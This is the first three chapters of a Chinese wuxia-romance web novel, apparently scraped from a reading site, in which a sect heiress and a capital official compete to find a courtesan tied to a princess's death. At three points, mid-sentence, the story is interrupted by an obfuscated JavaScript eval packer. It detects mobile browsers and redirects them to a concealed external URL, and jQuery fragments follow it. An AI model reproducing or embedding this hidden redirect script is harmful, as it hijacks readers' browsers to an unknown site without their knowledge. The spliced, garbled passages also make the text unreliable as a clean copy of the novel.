《揽春色》
1. 第1章
第1章
大成永顺二十一年冬。
江南一带遭遇了罕见的冰雪,天寒地冻,路上人烟稀薄,偶有三五路人也是裹紧衣裳行色匆匆,生怕耽搁分毫。
杭州城内,却有一处灯火通明、热闹得与外面格格不入。
尤其万花楼中,满城豪贵齐聚,观赏着一月一度的盛大歌舞。
窗外飘着飞雪,为首的舞姬身着如蝉翼一般的红色轻纱,曼妙的腰身婀娜扭动,腰间坠着精巧的五彩宝石,随着她的舞姿晃动闪耀,惹得台下观众一阵阵欢呼。
舞姬脸上覆了面纱,只露出一双漂亮的眼睛,便是万花楼的常客也一时难以辩出,纷纷猜测这个舞姬是不是就是名满天下的江南第一美人,万花楼的头牌——盛清歌。
一舞结束,舞姬退场,掌柜的站上台敲锣吆喝:“各位!今儿初十,按照本馆惯例,今夜出价最高的客人,将由清歌姑娘接待!”
话音落,台下瞬间发出巨大的声响,有人欢呼、有人疯狂鼓掌吹哨,甚至有人将早已准备好的一箱银锭砸到台上。
掌柜的侧身躲开,“哐当”一声,银锭洒落满地,众人瞬间发出更尖锐的爆鸣声。
“张员外!你都让清歌姑娘接待多少回了!是时候让旁人也享受享受了吧!”
“嘿,你懂什么!张员外宝刀未老,你若想抱得美人归,当然得拿出实力来才是!”
“哈哈,我是心疼清歌姑娘貌美如花,无端让一坨牛粪给糟践了!”
“呸!”
三楼隔间里,男子侧身倚靠在门边,身姿极为挺拔,手中折扇掀起珠帘一角,优雅而不失贵气,一双好看却略有几分疏离感的眼睛默默地注视着这一切。
等到楼下众人疯狂砸银钱竞价的时候,他终于放下帘子,扇子敲了敲桌上的紫檀箱子,“去吧。”
“是。”
一瞬之间,江玉楚连同桌上的箱子消失不见,只余了摇曳的珠帘。
炉上的茶煮得滚烫,渍了些茶水出来,发出呲呲啦啦的声响,贺寒声端起茶壶,另取了一只干净的茶杯。
他的手指骨分明,漂亮得紧。
滚烫的茶水落入杯中,氤氲裹着几片细长的茶叶,贺寒声冷冷开口:“来都来了,阁下不喝杯茶再走么?”
外边的人扯着嗓子叫价,隔间静默如许,仿佛两个不同的世界。
片刻后,珠帘轻动,门上半透不透的紫色薄纱缓缓落下,蜡烛灯灭,女子妙曼的身姿从房内的纱帘后缓缓映出。
她穿着单薄的纱衣,赤着脚丫,人未走到跟前,便娇笑着出声:“公子真是好雅致,一边叫人去竞价清歌姑娘的温柔乡,一边又叫奴家出来陪您喝茶。”
女子的声线温婉娇俏,刻意带了几分江南女子独有的清甜与妩媚。
大约是刚从楼下舞台上退场,即便刻意压抑着,却仍能让人感觉到她气息尚未完全平稳。
舞姬缓步来到贺寒声跟前,指尖触碰到男人宽厚的肩,挂在身上的宝石和流苏随着动作摇曳出声响,又若不经意地划过贺寒声的衣裳。
见他并未抗拒,舞姬便顺势坐在他身侧,手抬起他的下巴,媚眼如丝地望着他:“奴家陪您,不够么?”
楼下,掌柜的疯狂敲锣,扯着嗓子大喊:“二百七十两!刘公子出价两百七十两!还有没有更高的出价!”
上了二百两后,能参与竞价的人便微乎其微了。
众人唏嘘,纷纷放下手牌,兀自叹息又错失了一睹江南第一美人的机会。
刘松年插着双臂,抬眉看向对面胡子都气歪了的张员外,挑衅道:“张大伯,再往上叫你我只会两败俱伤!一个女人而已,值当吗?”
听了这话,张员外咬咬牙,抬起手:“四百两!”
场上顿时安静,就连台上的掌柜也瞪大了双眼。
包间内灯光昏暗,饶是面对面相视,贺寒声也难以看清对面姑娘的脸,倒是她指尖似有若无的香气,不断地蹿入鼻息之间。
贺寒声暗暗屏住呼吸,却顺势握住她的手,阻了她进一步动作,低笑:“那要看姑娘,肯不肯为在下花费心思了。”
外头的敲锣声瞬间响彻天际。
“四百两!还有没有比四百两更高的!”
舞姬笑了,顺势坐进贺寒声怀里,顺手执起腰上的流苏划过男子宽阔的胸膛,“奴家什么心思都肯花,就是不知公子……打算出价多少呢?”
贺寒声伸手虚揽着她的腰,掌心的温度似有若无,并未触碰到她。
他低声轻笑,“一百两,够不够?”
同时,外头也有个男声同时喊道:“一百两……”
“才一百两?”
隔着流苏,舞姬伸手抵住贺寒声的胸膛,欲拒还迎般。
“嗯,”贺寒声俯身在她耳边缓缓出声:“黄金。”
“……黄金!”
话音落,外头人声鼎沸,屋内的蜡烛瞬间全部熄灭。
贺寒声怀中一空,残留的香气随之淡去,他抿了一口茶,缓缓突出一口气。
江玉楚回来,看到房内一片昏暗,立刻明白过来。
他一边掌灯一边低声道:“公子,是漱玉山庄的人。”
贺寒声站起身,“嗯”了一声,“我已经知道了。”
“漱玉山庄虽说是江湖名门,但其实说白了就是一群土匪,他们自立于王土之外,一向视法度为无物,若介入此事,恐怕……”江玉楚有几分担心问道:“您看清长相了吗?”
贺寒声看了他一眼,“漱玉山庄的人最善易容。这种地方,他们怎么可能以真面目示人?”
“那刚刚那位跟张员外叫价的刘公子……”
“不用在意。”
贺寒声理好衣裳,神色淡淡:“他们应该是冲着人来的。你派人看好,别弄丢了。”
……
竞价结束后,功成身退的刘松年回到自己的房间。
房内坐了一人,背影较寻常男子要纤瘦些,却比普通男儿更加挺拔英气,一看便非寻常百姓。
刘松年赶紧关上房门,确认无误后,才冲着房中人的背影嬉笑开口:“沈堂主,您让我办的事儿我可办好了啊,足足拖了一炷香的时间呢!”
沈凤羽背对着门,听了这话,手猛地一抬,将一块木牌扔给了刘松年。
刘松年赶紧双手接住,“这是?”
“你拿着这块牌子去你家侧门那条巷子尽头的胭脂铺,会有人帮你解决麻烦。”
沈凤羽头也不抬地盯着面前的棋盘,琢磨着似是还未结束的棋局。
半晌没听到身后动静,沈凤羽终于回头,看刘松年还傻站在原地。
沈凤羽皱眉:“还有何事?”
“那个……是不是还得有点……”刘松年扭扭捏捏地比划着手指,满脸期待。
沈凤羽瞬间明白,忍不住暗暗翻了个白眼。
“贪婪!你庶母庶弟的命比这些黄白之物有价值多了,解决掉他们,整个刘家的家产都是你的,”沈凤羽抓了几颗白子在手中抛着玩儿,琢磨着下一子应该落在何处,“况且,我碧峰堂的人情可不是那么好买的,你还有什么不知足?”
“我早知道沈堂主会这么说。”
刘松年暗自腹诽,碧峰堂虽是漱玉山庄的分支,近两年在江湖上也算是闯出了名声,可与传闻中财大气粗的漱玉山庄比起来,那是出了名的一毛不拔,从未听说有过钱财方面的交易。
他叹了口气,将令牌收起来,“多谢。”
刘松年走后,沈凤羽默默从兜里掏出一个小册子,上面密密麻麻记录着碧峰堂的银钱收支,以及四处欠下的人情债。
算着算着,沈凤羽逐渐露出痛苦的神情。
过了一会儿,真正的铁公鸡沈岁宁回来了,她手里抱着自己混进万花楼时穿的衣裳,以及一把不知从何处顺来的折扇。
关上房门后,沈岁宁便摘了面纱,脱下了身上的纱衣与叮铃咣啷的坠饰,换上自个儿的衣服,等衣服穿好了,沈凤羽还是像一尊雕像似的坐在原地,一动不动。
沈岁宁觉得好笑,抬手把衣服扔了过去。
“还想着怎么赢我呢?”
被砸中的沈凤羽痛呼出声。
沈岁宁坐到沈凤羽对面,对方被衣裳盖住了头,她看到沈凤羽手上的小册子,脸上顿时一变,立刻抢来问:“你给他钱了???”
“呵!你不给我钱,我哪有钱给别人?”沈凤羽冷笑一声,边揉脑袋边把衣服扯下来,满脸嫌弃问:“少主这是打算暗杀我么?还有,这是什么乱七八糟的破布衣裳?万花楼的生意这样好,连件像样的衣裳都不给这儿的姑娘们穿么?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15583807|171634||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
得知没给刘松年钱,沈岁宁这才放下心来,瞬间把账本扔在一边。
她听到沈凤羽的吐槽,看着那身被自己穿过的、薄得几乎等于没穿的纱衣,满眼都是无奈。
“她们拿给我的,说是这儿的姑娘一年四季都这样穿,”沈岁宁顺手把折扇放在棋盘边,眼神一凛,“听说每月初十,盛清歌被抬给客人的时候穿得更少,尤其是张世海那个老色鬼,几乎每个月都豪掷千金买清歌一夜!你说他都那把年纪了,他哪里来的脸让自己孙女辈的人跟他……”
“得得得,你先别急着义愤填膺,”沈凤羽把账本收起来,见沈岁宁上头,赶紧打断她,皱眉问:“这大冷天的,扇子哪儿顺来的?你不是去办事了?盛清歌人在哪里?”
沈凤羽拿过折扇打开,黑底烫金竹叶扇面,金镶玉扇骨,坠着一块羊脂玉玦,一看便是华贵之物。
沈岁宁这才想起正事儿,神色凝重,“盛清歌的房间被保护起来了,连只苍蝇都飞不进去。我怕暴露身份,就没硬闯。”
沈凤羽听了,也严肃起来,“是哪路来的,动作竟比我们还快!”
“听那人的腔调,像是从北方来的,而且他出手竟如此阔绰,恐怕……”沈岁宁沉思片刻,将自己的担忧如实相告:“非富即贵。”
沈凤羽“哦”了一声,若有所思,“长得好看吗?”
“应该不差,没看太清……”脱口而出后,沈岁宁反应过来,“喂喂喂,我是那种公私不分的人吗!”
沈凤羽呵呵一笑,“我这不是怕你色令智昏嘛。”
沈岁宁狠狠朝她翻了个白眼,“人命关天的事,少在这打哈哈。”
上月,有人暗访漱玉山庄,重金求取万花楼头牌盛清歌的命。
按规矩,漱玉山庄收钱办事,不应过问其他,可山庄的暗线无意中查出那人是从京城华都过来的,且带来的酬金竟有足足三箱黄金。
京城中人,不远万里重金求购千里之外杭州城中一青楼女子的性命,此事过于蹊跷。
老庄主办事素来谨慎,且漱玉山庄多年来从不与朝廷往来,连夜便将酬金退还,拒了这桩生意。
可老庄主左思右想难以放心,决心暗地里跟踪调查,弄清真相,毕竟当初那三箱黄金可是声势浩大地抬进过漱玉山庄的,万一将来生了什么事端,也好自证清白。
沈岁宁暗暗想着,若只是无端杀个青楼歌姬,倒也犯不着这么大动干戈。
“少主。”
“嗯。”
沈凤羽看着沈岁宁翻完大白眼又立刻严肃的神色,欲言又止的,“您能不能别老易容成苗姐姐?她那么温柔漂亮、柔情似水的脸蛋时不时被您这么顶着作践,怪可惜的。”
沈岁宁:“……”
沈岁宁:“行,我下回变成你的。”
沈凤羽沉默了一瞬,那一瞬间,她脑子里闪过无数次沈岁宁在外面干的那些破事儿,无非是撩女人、骗男人、欺负小孩儿、四处留情……
“那还是祸害苗姐姐一个人就够了,毕竟她也不下山,不在乎这点名声。”沈凤羽毫不留情地拒绝。
沈岁宁瞪她一眼。
看到沈岁宁的神情稍有缓和,沈凤羽出言安抚道:“行了,别担心那么多了,先想办法见到盛姑娘再……”
沈凤羽话还没说完,外头突然一阵骚乱。
两人对视一眼,各自握紧了藏在暗处的兵器。
万花楼中,原本属于盛清歌的房门大敞,外面整整齐齐站了两排人,四面的窗户全部紧闭,一丝风都透不进来。
房间里空无一人,梳妆台上,只余了一只奄奄一息的画眉鸟和一张残破的、沾了血的信纸。
贺寒声拿起信纸,上面没有任何字迹。
万花楼的掌柜和老鸨惊慌失措地站在后面,大气不敢出。
江玉楚检查完房间各处,回到贺寒声身边,压低声音:“公子,四下都没有异常。怕是人早就被带走了。”
贺寒声摇摇头,将信纸放回妆台,“人还在。”
江玉楚立刻会意,命掌柜的派人将万花楼全面封锁,只准进不准出。
“光封楼可找不到人,”贺寒声用手帕小心包起那只快要断气了的画眉鸟,淡淡开口:“漱玉山庄的人应该也还没走。你给官府报信,让他们寻个由头,搜。”
2. 第2章
第2章
不出一刻钟,万花楼被封锁得密不透风,还有府衙的官兵上门,说是要搜捕一个采花大盗,万花楼内所有宾客、小厮、姑娘都不许外出。
沈岁宁呆在房里,倒不怕被搜。
她一早就想到来见盛清歌不会顺利,便和万花楼里的内线接应好,让沈凤羽女扮男装易容成了万花楼的常客“容君”,自己则扮成容君来这里常点的姑娘茵茵。
茵茵是个舞姬,经常穿着各种异域风情的衣裳取悦宾客,方才沈岁宁便是临时替她上台跳的舞。
可一想到自己又要穿上那身聊胜于无的红色纱衣,沈岁宁表情痛苦。
而不用换装的沈凤羽则一脸淡定地掏出账本,头也不抬地提醒:“你赶紧换上。我算一下,万一我们被迫留在这过夜的话,得多花多少钱。”
沈岁宁:“……”
有了事先的准备和默契的配合,两人很容易便躲过了官府的搜捕。
可光躲着不行,毕竟沈岁宁此行的目的是要见到盛清歌,打听清楚究竟是何人想买她的命。
眼下盛清歌不知去向,对方又来路不明,沈岁宁担心万一对方是奔着杀盛清歌去的……那她,真的得抓紧时间了。
沈岁宁起身准备行动,她看到沈凤羽还抱着她那破账本无动于衷,顿时气血上涌,上前几步将人拎起来往外走。
“等会再算!多的我出!”
沈岁宁提溜着沈凤羽寻人的时候,贺寒声的人也在暗中搜捕着盛清歌和其他可疑的人。
江玉楚找到贺寒声,“公子,杭州知府许林大人听闻公子亲自来办事,愿意倾全力配合我们。只不过……”
“只不过,他们只能帮我们找盛清歌的下落,是么?”贺寒声头也不抬。
“公子真是料事如神,”江玉楚说:“许大人说,漱玉山庄虽是江湖门派,但从不涉朝政,虽然行事迥异,但到底没有做过为害百姓的事情。这么多年,漱玉山庄和江南各州的州府算是保持着一种互不干涉的微妙关系,许大人的意思是……暂时不想破坏这种平衡关系,以免生事端。”
贺寒声沉思片刻,问:“他知道我们这次是为了蔽月公主的案子来的么?”
“知道。”
“他没说什么?”
江玉楚四下看了眼,凑上前压低声音:“许大人说,蔽月公主的驸马是和盛清歌有过露水情缘。甚至与公主成婚后,驸马和盛清歌私下里见过不止一次。上个月,有人找漱玉山庄买盛清歌的命,这事许大人也在查,他怀疑是不是公主的手笔。”
“公主再不满驸马婚外有情,却也不至于暗地里重金买盛清歌的命。况且,蔽月公主在两个多月前,就已经因意外一尸两命,即便是生前授意,也不至于上个月才找到漱玉山庄。现下,最有嫌疑的驸马不知踪迹,若想找到驸马的下落和公主真正的死因,还得找到盛清歌才行。”
贺寒声微微眯眼,“一定要赶在漱玉山庄的人动手前。”
“明白。”
江玉楚话音刚落,外头突然传来一声惨叫。
正在四下寻人的沈岁宁也听到了动静,她赶紧跑去楼梯口察看。
闻声而来的沈凤羽也赶来,“有人坠楼了!”
“我知道,你保护好自己。有机会的话通知外围的兄弟,做好接应!”
沈岁宁语速极快,说着就往要跑下楼。
沈凤羽拉住她:“那你呢?”
“我看到盛清歌了!”沈岁宁来不及解释太多,立刻冲了下去。
与此同时,听到动静出来的贺寒声也瞥见坠楼的方向有一抹一闪而过的红色踪影。
他立马翻过栏杆,利用轻功飞向红色踪影的方向,和同样急匆匆过来的沈岁宁撞了个正着。
贺寒声神色一凛。
沈岁宁反应极快,反手扯上腰间的几颗坠子掷出,将附近走廊上的灯灭掉,同时向贺寒声出击。
贺寒声迅速躲过,两人赤手空拳过了几招。
沈岁宁还穿着茵茵的舞服,脸上带着面纱,这严重限制了她的出招,加上不希望对方看清自己的脸,沈岁宁很是被动,又急于找到盛清歌,顿时一脚横踢过去,怒喝:“滚开!别妨碍我!”
贺寒声轻盈躲开,虽未主动出招,但也绝无退让之意。
他步步紧逼,几乎将沈岁宁逼到死角,沉声问:“不知阁下是何来历?可否报上名来!”
被逼的走投无路的沈岁宁大骂:“我是你祖宗!”
两人缠斗间,盛清歌的身影消失在走廊尽头,两人堵在走廊口,谁也不让谁,僵持了半晌。
沈凤羽和江玉楚相继赶来,着急地想要上前帮忙,但走廊空间实在太小,两人还没插上手,就听到打斗的二人几乎同时喊——
“留下来盯着!”
“在这堵着,别让人跑了!”
沈凤羽和江玉楚对视一眼,双双暗自握紧拳头。
沈岁宁和贺寒声一路打斗着来到走廊尽头的房间,两人都气喘吁吁地靠着门。
心知自己硬拼不过的沈岁宁想要停战,她拱手夸赞贺寒声:“这位公子……真是、好身手啊!”
贺寒声平了气息,拱手回礼:“想必姑娘的功夫也不差。”
“彼此彼此。”
沈岁宁有气无力地回应着,后背抵住门,不让贺寒声再有进攻的空间,面上周旋着,“公子你看,咱俩打了这么半天也难分胜负,耗着对谁都不好。要不这样,今儿你就当卖我个面子,把这位姑娘放出万花楼。只要她出了大门,你再要杀她我绝不阻止,你看如何?”
贺寒声笑,“姑娘说这话的意思,是要与在下讲和了?”
“你要这么想也行,都是江湖中人,各自为了自己的任务难免大动干戈,但今日我实在不方便,就算你赢了我,将来传出去对你名声也不好,不如休战,对你我都好。”
“姑娘倒是伶俐,说是为了在下好,焉知不是姑娘打不过在下呢?”
这话戳中沈岁宁的名门,她瞬间炸毛,抬高声音怒问:“那你还想再打吗!”
贺寒声定定地望着沈岁宁,对方像是一只张牙舞爪的好斗的狸花猫。
狸花猫的功夫虽在自己之下,可此处太过狭窄,对招式的限制太多太大,缠斗起来确实胜负难分,况且贺寒声本意也只是
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15583808|171634||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
想确保盛清歌能活命,以便将来能够提审她,从而查出公主的死因驸马的下落。
贺寒声沉思片刻,同意止战,“就依姑娘的,在下会放盛姑娘出万花楼。只不过出了这万花楼,盛姑娘得跟我的人走。”
沈岁宁气笑出声,“你这说的是人话?出了门人归你,那跟现在要我认输有什么区别?”
贺寒声分毫不让,“区别在于,姑娘没有输得过于难看。”
沈岁宁:“看来咱俩是谈不拢了。”
贺寒声:“目前看来,是的。”
“……”
两人彻底聊崩。
静默片刻后,沈岁宁突然下蹲扫了一脚,贺寒声纵身到半空避开,飞出一脚踹开了沈岁宁身后的门,同时沈岁宁也踹开了贺寒声身后的门。
两扇门后分别有两双眼睛,震惊又迷茫地看着仿若定格的两人。
贺寒声、沈岁宁:“……”
两人不死心,往前了几步,再度推开两侧房间的门。
这次是尖叫声,伴随着一些不堪入目的画面,两人赶紧又拉上房门,捂脸背对着房间。
沈岁宁感觉自己脖子根都在发热,她偷瞥了眼对面的贺寒声,即便看不清脸色,她还是发现贺寒声脸上写满了窘迫和尴尬。
见状,沈岁宁嘲笑出声:“看着像个会花天酒地的贵公子,第一次来这种地方?”
贺寒声暗暗白她一眼,没好气地反呛:“你一个姑娘家,难道常来?”
“哟,那次数可能比你多那么一点。”
不知怎的,沈岁宁莫名生出一股优越感,虽然她打不赢贺寒声,可她逛青楼的次数比他多啊!
觉出沈岁宁情绪的贺寒声无语至极,一口气差点没上来,可细细一想,又懒得和她计较。
眼看着走廊上剩下的房间门紧闭,尽管人没找出来,贺寒声也拉不下脸再推开下一扇门了,如此一闹,真的只能等出了万花楼再各显神通了。
贺寒声低声自嘲:“看来今天你我都要输了。”
“没关系啊,我向来不在乎输赢,”沈岁宁笑意盈盈,看到贺寒声似乎是有些挫败,她更忍不住凑上前补了句:“况且,一想到你也没找到人,我就更高兴了。”
贺寒声心里一梗,刚要反驳,沈岁宁便往后一退,拱手作揖:“今日棋逢对手,算是打平了。”
“打平?在下若认真打,姑娘未必能输得体面。”
“哎呀,你一个大男人,”沈岁宁抬手戳了戳贺寒声的肩膀,歪头笑道:“这么计较输赢做什么?”
贺寒声身体一僵,瞬间酥软了半边身子。
沈岁宁满意地看着他的反应,凑上前在他耳边轻声道:“你要真这么计较,日后总会有机会再分个输赢。不过这次,还是我略胜一筹啦!”
她退回半步,拍了拍贺寒声的肩膀,“走咯!”
“慢着!”
贺寒声咬牙出声,身子一动不动,眼睛死死盯住沈岁宁那张半掩在红色面纱之下的脸,不甘开口:“还未得知姑娘芳名。”
“芳名啊……”
沈岁宁不假思索,“在下……苗翠花!”
3. 第3章
第3章
天色蒙蒙亮,城郊的枝桠都被裹上了一层厚重的冰,路上的土里混杂着冰渣,饶是沈岁宁骑着从万花楼顺来的汗血宝马,这会儿也寸步难行。
眼见着前方茫茫一片,半点人影也没有,沈岁宁索性跳下马,一边哈气暖着手掌,一边原地跳跃跺脚让身子暖和些。
不一会儿,沈凤羽吆喝的声音从后边传来,她驾着马车,一路莽莽撞撞的,好几次险些人仰马翻,看得沈岁宁心惊胆战的,不由出口大喊:“你能不能慢点?我心脏都要吓出来了!”
话音未落,沈凤羽狠狠勒紧缰绳,马车由于冰雪路滑向前了好些距离,不受控制地朝沈岁宁撞了过去。
沈岁宁惊呼出声,吓得连连跳开,在路旁捂着小心脏瑟瑟发抖。
“你纯纯站着说话不腰疼!”
没等沈岁宁破口大骂,沈凤羽从马车上跳下来,没好气地翻着白眼,“我要不快点,你形单影只的又没带钱,迟早要冻死在路边!”
说着,沈凤羽塞了个暖手炉给沈岁宁。
沈岁宁捧着暖炉,瞬间变得笑嘻嘻的,“是是是,还是沈堂主心疼我。”
药倒了贺寒声之后,沈岁宁从二楼跳窗出来,顺着盛清歌逃走的方向追了一路,什么东西也没带,就连身上的衣裳和狐裘大氅,都是她从不晓得哪个屋里顺过来的。
闹了这么一出后,留下善后的沈凤羽可没少费心思。
沈凤羽默默叹气。
眼下的路实在不好走,加上雪断断续续地下着,两人决定暂时在郊外的一间客栈落脚,等雪停了再做打算。
两人在房间坐下后,沈岁宁立刻拿走了沈凤羽的账簿细细察看。
沈凤羽狠狠白她一眼,“放心,一分钱没花。”
“怎么可能?我打碎那么多东西,还拿了别人的衣服。”沈岁宁忐忑不安地咬着手指,生怕下一秒看到个天文数字。
沈凤羽本想解释,那不知哪路来的玉面公子豪掷千金买盛清歌一夜,结果万花楼却把人给弄丢了,掌柜的实在是颜面上过不去,怕失了江湖道义,这才不计较的。
可转念一想,沈凤羽又放弃了,她觉着沈岁宁这抠抠搜搜又顾头不顾尾的性子,是该治治了。
沈岁宁认认真真对着账本,沈凤羽坐在一旁喝着热茶,突然想到了什么,冷不丁来了句:“这次看清了?”
“嗯?”
“那男的啊,”沈凤羽似笑非笑,“看清了不?能不能入你法眼?”
沈岁宁原本心思都在账簿上,听沈凤羽这么一问,莫名心里一梗,连账簿也不看了,兀自叹了口气。
“怎么了怎么了?难不成……磕碜得很?”
沈岁宁又叹了口气,“长得倒是人模狗样的,只不过……”
“只不过?”
沈凤羽好奇心被勾起来,以沈岁宁那从不挑食、见人就要撩一把的性子,到底是什么样的男人能让她露出这样苦涩的神情,连账簿都不看了。
“只不过,”沈岁宁欲言又止,大抵是觉得没面子,忸怩了半天才小声说出实话:“他功夫委实高明,我打不过他。”
“……”沈凤羽怀疑自己耳朵听错了,静默了一瞬后,“啊?”了一声。
沈岁宁更加低落了,她堂堂漱玉山庄少主、江南第一名派的少当家、碧峰堂的掌门人,居然打不过一个无名小辈!这要是传出去,莫说是碧峰堂,整个漱玉山庄乃至江湖上的人也要笑话她一辈子了!
岂料,沈凤羽下一秒便脱口而出:“那不是很正常吗?”
沈岁宁:“???”
“……”沈凤羽干笑两声,意识到自己说错了话,赶紧岔开话题:“不过话说回来,万花楼故意放走盛清歌,既得罪了漱玉山庄和另一波人马,又砸了自己的招牌,得不偿失啊。没了盛清歌这个台柱子,还有多少豪贵愿意给万花楼砸钱?”
提起正事,沈岁宁神情瞬间严肃起来,说出自己的猜测:“万花楼愿意这么做,无非是因为盛清歌不止是他们的台柱子,更是幕后真正的掌权人。”
沈凤羽哑然失笑,“从未听说幕后掌门亲自出来接客的。”
“假如张世海只是个幌子呢?”
沈凤羽愣了一瞬,跟着恍然大悟:“你的意思是,张世海只是在明面上竞价,实际上每月初十和盛清歌共处的另有其人?”
“并不是没这个可能,对吧?”沈岁宁笑,手指沾了水在桌上画出万花楼的平面图,“盛清歌的住处是单独的,在这个位置,除了一条直通天字间的走廊,其他三面都是封闭的。万花楼有个不成文的规定,除了每月初十最后竞价成功的人,盛清歌不见任何外人。这条通往天字号的走廊也是封闭的,也就是说,除了天字间的客人和盛清歌本人,谁都不知道真正和盛清歌共度良宵的究竟是谁。”
沈凤羽越想越觉得有道理,可又有哪里连不上来,这种一知半解的滋味太难受。
她正想找沈岁宁问个究竟,沈岁宁却已经起身走到榻上躺下,背对着她,“睡了,剩下的自己慢慢琢磨。”
沈凤羽:“……”
……
贺寒声是被颠醒的,在马车里。
他打开车窗,深吸一口气。
雪天路滑,饶是江玉楚格外小心放慢速度,那马车的平稳度也比不得寻常时候,更何况山路崎岖,稍不小心就有车毁人亡的风险。
“玉楚,天色已暗,找个地方歇脚吧。”
“是,公子。”
贺寒声合上车窗,只觉得身子还有些软绵,脑袋也有些疼痛,加上昏迷了这么许久没有进食,感到有些饥饿了。
“公子。”
“嗯。”
贺寒声按着眉心,静静地听江玉楚说:“属下派人查过了,在万花楼与咱们交手的是漱玉山庄的碧峰堂。碧峰堂一脉,办的都是暗地里的勾当,武力值倒是不足为惧,只是善用药、香、毒和暗器这些上不得台面的手段。还有……”
“还有什么?”
江玉楚顿了顿,继续道:“听说碧峰堂的掌门是个女子,善用易容和媚术,连说话时都能伪装成不同的声线,至今仍未有人见过她的真面目。公子,咱们与她们交手时,须得小心些。”
贺寒声想到昨儿竞价时闯入房间的女子,轻蔑一笑,“知道了。张世海盘问得如何了?”
“他……昨儿带去官府的路上,突然暴毙身亡。”
贺寒声眼神一凛,“死了?”
“嗯。本也年纪大了,又喜欢花天酒地,身子早就被掏空了,昨儿突然受到了惊吓,人一下就没了。”
“他的家眷子女可有知情的?”
“没有。张世海污名在外,他的发妻十几年前就带着孩子改嫁了。后来的妾室几乎都是图他钱财,张世海虽然挥金如土,但他的钱都是上面那位给的,自然花不到妾室身上,时间久了,也就都跑了。唯一没跑的就是昨儿在万花楼坠亡的那个,她原先是服侍盛清歌的婢女。”
这样一来,知情的人便越来越少了。
贺寒声神情愈发凝重,眼下冰天雪地寸步难行,他先是失了先机,又弄丢了能日行千里的汗血宝马,若是盛清歌被漱玉山庄的人先找到并杀害,蔽月公主的案子就真成悬案了。
……
雪越下越大,不过半天光景,便已经没到脚踝那么深了。
沈岁宁是被冻醒的,屋里的炭盆早就没烟了,她眯着眼睛看了眼,一脚把旁边的沈凤羽踹醒,“去找老板娘要两斤炭。”
沈凤羽睡得迷迷糊糊的,没好气道:“你自己怎么不去?”
“我可是少主!”
身份压制,没办法。沈凤羽只好骂骂咧咧起来,坐在床边缓了一会儿,穿好衣服去找老板娘取炭。
“算了,我自己去吧。”不等沈凤羽出门,沈岁宁便跳下床。
沈凤羽都惊了,“哟,太阳打西边出来了?”
沈岁宁翻了个白眼,赌气坐了回去,“行,那你去,我去找老板娘点几个菜准备着,我都快饿死了。”
“你要吃饭,让店小二送到房里来不就行了?非要下楼
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15583809|171634||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
找老板娘做什么?”
沈凤羽觉得奇怪,毕竟沈岁宁这个人天生懒骨,能躺着吃绝不会多走一步路,今儿这是改头换脸了?
思来想去,沈凤羽回到床边坐下,一动不动地盯着沈岁宁。
“干嘛?”沈岁宁不耐烦,“还杵着不动,想冻死我啊?”
“就去,就去,”看穿一切的沈凤羽似笑非笑,“老板娘长得水灵,又让你看上了呗?”
话音落,沈岁宁一脚踹过来,沈凤羽大笑着躲开,出门取炭去了。
没一会儿的功夫,沈岁宁已经易了男装,下楼直溜溜地奔着柜台前的老板娘去了。
正在同店小二取炭的沈凤羽一眼看出她动了什么心思,嘴角抽搐,无语凝噎。
沈岁宁无视沈凤羽的存在,径自走到柜台,跳到桌子上放荡不羁地坐着,顺手抄起了柜子上的一坛酒。
她眼睛直勾勾盯着老板娘,用嘴撕开酒坛上的封布,大口大口地喝着酒,酒水顺着她嘴角划过下巴上的假胡茬,她不甚在意地用衣袖抹去。
“……”目睹了一切的沈凤羽胃里翻腾,捂着眼睛不忍直视,和店小二抱着炭赶紧上楼去了。
老板娘正拨弄着算盘,听到动静后抬头睨了她一眼,笑,“客官好面生啊,是今日刚来住店的吗?”
“小娘子见我面生,我见小娘子,”沈岁宁仰头倒了一口酒,凑上前,“恰似昨日清梦中,朝思暮想不得见。”
她刻意压着嗓子,让声音听起来更粗犷些,符合她如今外貌的扮相。
老板娘笑了,抬手抵住沈岁宁的嘴唇,“客官莫要调笑奴家。若是住店,奴家为客官安排便是。”
“若是在下身无分文呢?”
“那客官便用其他东西偿还便是,”老板娘上下打量着沈岁宁的脸,眼神暧昧不清,“您这张俊脸,可值千金。”
沈岁宁大笑,顺势搂过老板娘的肩,“小娘子甚是豪爽,我与娘子一见如故,甚是有缘。不知小娘子姓甚名谁,芳龄几许?”
“奴家年方二十六,姓名……”老板娘眼中寒气渐凝,一字一句:“盛、清、歌!”
